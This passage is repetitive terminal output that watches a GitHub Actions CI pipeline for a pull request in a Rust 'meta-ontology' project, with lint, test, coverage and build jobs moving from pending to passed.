tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  * Check file size limit\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete 